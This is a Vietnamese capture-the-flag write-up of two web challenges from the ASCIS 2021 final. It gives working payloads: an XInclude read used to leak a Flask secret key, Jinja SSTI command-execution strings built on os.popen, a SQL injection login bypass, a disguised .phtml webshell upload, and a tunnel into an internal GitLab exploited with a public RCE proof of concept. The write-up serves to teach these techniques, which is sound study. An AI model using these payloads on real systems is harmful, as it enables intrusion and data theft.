ASCIS FINAL 2021 WRITEUP WEB CHALLENGES - Web1 & Web 2

ASCIS FINAL 2021 WRITEUP WEB CHALLENGES - Web1 & Web 2

Ở post này thì mình sẽ viết wu về 2 bài của cuộc thi SVATTT Final Round 2021 Web1Web2.


Contents


Web1

Setup

Down source tại đây. Bài này thì mình build trên máy ảo kali và khai thác ở máy window 😅.

Overview

Access tới thì hiển thị ra cho ta một trang login.

Thử chọn Login As Guest, ta sẽ được đưa đến trang sau:

Cho hai ô để nhập, lúc này mình test thử với xmlxpath như Example và được một popup:

Phân tích

Đọc qua source file của đề, từ start.sh:

#!/bin/bash

echo KEY=`python3 -c "import uuid;import hashlib;print(hashlib.md5(uuid.uuid4().hex.encode()).hexdigest())"` > .env
rm flag*
echo ASCIS2021{`cat /proc/sys/kernel/random/uuid | sed 's/[-]//g' | head -c 40`} > flag_`cat /proc/sys/kernel/random/uuid | sed 's/[-]//g' | head -c 20;`

docker-compose up -d --build

và các file docker-compose.yml, biết được flag sẽ được tạo random và lưu vào một file flag_<random>. SECRET_KEY dùng cho flask app sẽ được lấy từ KEY environment variable.

Đề có cho file xservice_users.db, có thể thả vào https://inloop.github.io/sqlite-viewer/ để view:

Mà cái này cũng chả quan trọng trong bài này lắm 😅.

dashboard.html có sử dụng socket.io và khi ta ấn Process sẽ emit() một event này với xmlxpath. Sau đó trên server sẽ tiếp nhận event này và process với:

@socketio.on('message')
def handle_message(xpath, xml):
    if 'username' in session:
        if len(xpath) != 0 and len(xml) != 0 and "&" not in xml:
            try:
                res = ''
                root = ElementTree.fromstring(xml.strip())
                ElementInclude.include(root)
                for elem in root.findall(xpath):
                    if elem.text != "":
                        res += elem.text + ", "
                emit('result', res[:-2])
            except Exception as e:
                emit('result', 'Nani?')
        else:
            emit('result', 'Nani?')

Ngay khi nhìn thấy ElementInclude.include(root) mình đã nghi ngờ là XInclude. Thử test trên máy local xem như thế nào:

  • Đầu tiên là tạo một file bla.txt với content là bla

  • Sau đó chạy script để test

Ok thành công, nhưng ta sẽ đọc file gì tiếp theo ?. Để ý một tí thì ở route /login, tất cả các account đều bị set session['is_admin']=0:

Và chỉ khi session['is_admin']=1 thì mới có thể vào được route /manage:

Các bạn có thấy được điều gì thú vị ở đây không 😋, đúng rồi là render_template_string() vậy nếu ta có thể control được session['username'] thì hoàn toàn khai thác được ssti. Mà điểm mấu chốt để làm cho session['is_admin']=1 và có thể control được session['username'] là phải có SECRET_KEY.

Vậy làm sao để lấy SECRET_KEY ? Quay lại ban đầu, ta có SECRET_KEY sẽ được set bằng os.environ.get('KEY') vậy chỉ cần xinclude /proc/self/environ -> có được SECRET_KEY. Và dùng SECRET_KEY này sign lại hai yếu tố ở trên để ssti và đọc flag.

Exploit

Leak secret key:

Sau đó sign lại với is_admin=1username=to^

Change cookie sau đó access tới /manage:

-> Thành công

Tiếp theo sẽ là ssti, để ý trong source code tại route manage:

@app.route('/manage')
def manage():
    try:
        if session['is_admin'] == 1:
            if xutils.check_user(session['username']) == True:
                return render_template_string('Hello ' + session['username'] + ', under development!')
            else:
                return render_template_string(session['username'].replace("{{","") + "Not available")
        else:
            return redirect(url_for('dashboard'))
    except:
        return redirect(url_for('login'))

Vì đề đã replace tất cả {{ thành rỗng nên mình dùng {%. Hmm, suy nghĩ một hồi thì mình quyết định ghi thẳng output command ra file /home/service/static/output.txt để có thể xem được từ bên ngoài. Payload:

{% set bla = lipsum.__globals__['os'].popen('ls / > /home/service/static/output.txt').read() %}

Cuối cùng là cat flag {% set bla = lipsum.__globals__['os'].popen('cat /flag_d92ed0e8bdf248ddab56 > /home/service/static/flag.txt').read() %}:

Hoặc cũng có thể làm theo cách session.update(), payload:

{% set x=session.update({'flag': lipsum.__globals__['os'].popen('cat /flag_d92ed0e8bdf248ddab56').read()}) %}

và sau khi có được session mới ta decode như sau:

import zlib
import base64

session = ".eJwVzdEKgjAUgOFXGYOYQpibLlToIrrqusuKcbZzDEGndBQC8d2r-5_vX2Xbw0s28ny7XG8mN3rVrTV1HopgbV5qXddFebQQfAkYqsLT9ohyLzt2gEMXZaP3cmF6Rxjo56w7wTSLz4mJuRtjtkwIMyWr-o9UI_pu4mXInHv1o4eenburkdUzm8aJYqICzOLwbx3WhjCnymNrygoRvD2qNHsTYJJuqdhtcvsCbWs85g.YsvQQQ.MYxhTqCNzMtRXFCxslpHlalttJg="

print(zlib.decompress(base64.urlsafe_b64decode(session)).decode())

# referece: https://www.youtube.com/watch?v=mhcnBTDLxCI

output:

{"flag":"ASCIS2021{1f5290c3c550411993465acb4adc83be}\n","is_admin":1,"username":"{% set x=session.update({'flag': lipsum.__globals__['os'].popen('cat /flag_d92ed0e8bdf248ddab56').read()}) %}"}

Web2

Bài này thì mình hơi tốn thời gian ở công đoạn setup một tí và khi build được thì cũng không vui vẻ lắm lí do thì là đây:

🥺 Nói thật thì mình cũng không rõ tại sao, chắc có lẽ một phần phải build gitlab nên háu tài nguyên. Trong lúc làm thì phải restart/remove container liên tục vì ... bị đơ. Nhưng dù sao thì challenge này cũng rất hay và thực tế vì nó mô phỏng lại một lỗ hổng bảo mật liên quan tới gitlab.

Setup

Source code các bạn có thể down tại đây. Trong lúc setup thì mình có phát hiện một vài chỗ cần config lại để có thể build được, cụ thể ở file Docker của thư mục php chỉnh khúc đầu lại thành:

Overview

Nhìn vào file docker-compose.yml ta biết được có 3 services: php, mariadbweb. Trong đó 2 services mariadbweb thì chạy trong internal network của container.

Access tới http://127.0.0.1:1337 thấy được một trang login:

Phân tích

login.php, ta chú ý đoạn code:

$password không được "escape string" như $name vì vậy mình nghĩ có thể sqli được. Và tiếp tục để $error không bị set thành true thì phải thỏa regexpasswd($pass)==true

Hàm này nằm trong lib.php, click vào để xem nó hoạt động như thế nào:

hmm, password thỏa biểu thức $regex thì sẽ được trả về là True. Sau một hồi test trên https://regexr.com/ thì mình tìm được một test case match:

Cuối cùng, để thỏa điều kiện trong login.php:

\=> username=chongxunpassword=aA0!cdc8' or username= 'chongxun

Login thành công:

Fuzz tiếp thì ở tính năng My accounts:

sẽ dẫn ta đến account.php và cho phép upload ảnh:

Vào source file upload.php, file upload sẽ được move đến ./images/upload/ và phải thỏa các điều kiện:

  • File là một valid image

  • File chưa tồn tại ở ./images/upload/

  • File's size <= 500000

  • Extension không được là .php, .phar, .pht

\=> Mục tiêu vẫn là upload một webshell.

Để file là một valid image thì ta có dể upload một php shell nhưng các byte đầu sẽ là GIF98a. Còn về phần bypass extension thì exec vào container ta thấy ngoài các extension bị filter vẫn có thể dùng phtml:

Thử up một php file echo ra bla:

Kết quả:

Nhìn vào php.ini các function bị disable khá nhiều nhưng ta vẫn có thể dùng các POC đã pulic để bypass disable functions. Cụ thể mình sử dụng https://github.com/mm0r1/exploits/blob/master/php-filter-bypass/exploit.php (nhớ lưu ý version của php, trong trường hợp này version trên server là php7.4)

Thử command id:

RCE thành công nhưng ... làm gì tiếp theo, ta biết mục đích cuối cùng là run /readflag ở service web chạy gitlab nhưng hiện tại chỉ RCE được ở php. Tới đây bởi vì có thể dùng curl nên mình đã áp dụng POC của git lab 13.10.2. Xem ở https://www.exploit-db.com/exploits/50532 nhưng sau khi làm theo thì không work 😢.

Tới đây stuck quá nên tham khảo wu của đàn anh n3mo. -> Muốn áp dụng POC thì ta cần phải access được vào gitlab và a n3mo sử dụng một tool là Neo-reGeorg. Cách hoạt động của nó thì các bạn có thể tham khảo thêm tại đây, đây, đâyđây ...

Hoặc các bạn có thể đi phân tích mô hình hoạt động của nó:

(Dùng tool này để dịch nè)

Exploit

Tạo tunnel server với:

python neoreg.py generate -k password

Dùng curl để download tunnel.php trên server:

Kết nối tới web server và tạo một socks5 proxy bằng lệnh:python neoreg.py -k password -u ttp://127.0.0.1:1337/images/upload/tunnel.php

Sau đó tải add-on FoxyProxy và setup socks5:

Access trực tiếp tới IP của web service trong container:

Hmmm, lúc này khi tạo acc xong sign in thì bị báo lỗi phải cần admin approval mình cũng không rõ lắm tại sao bởi vì cái này đã được setup khi chạy lệnh cuối trong run.sh:

docker exec -it gitlab-13.10.2-ee.0-internal gitlab-rails runner "Gitlab::CurrentSettings.update!(require_admin_approval_after_user_signup: false)"

à nhắc mới nhớ khi chạy lệnh này thì terminal bị đơ và có lẽ vì vậy nên không work.

Do thế mình login vào thẳng admin account root:###CENSORED### (pass đã set ở docker-compose.yml) sau đó check rồi uncheck Require admin approval for new sign-ups và Save changes.

Cuối cùng cũng login được 😃:

Vì ta đã sign in rồi nên chuyển qua POC này. Thử upload file một file ảnh bình thường để xem response của server

Response:

Và nhận thấy ta có thể access trực tiếp tới được:

Exec thẳng vào container xem thử thì ta được quyền ghi ở thư mục này:

Tạo lại payload để ghi flag ra thư mục mà ta có thể access tới - do không khai thác được theo kiểu OOB (ở đây tại vì mình build chall trên window nên phải chạy qua linux để run script tạo payload 😌):

Upload image:

Nó để failed nhưng server vẫn thực thi command:

Và flag: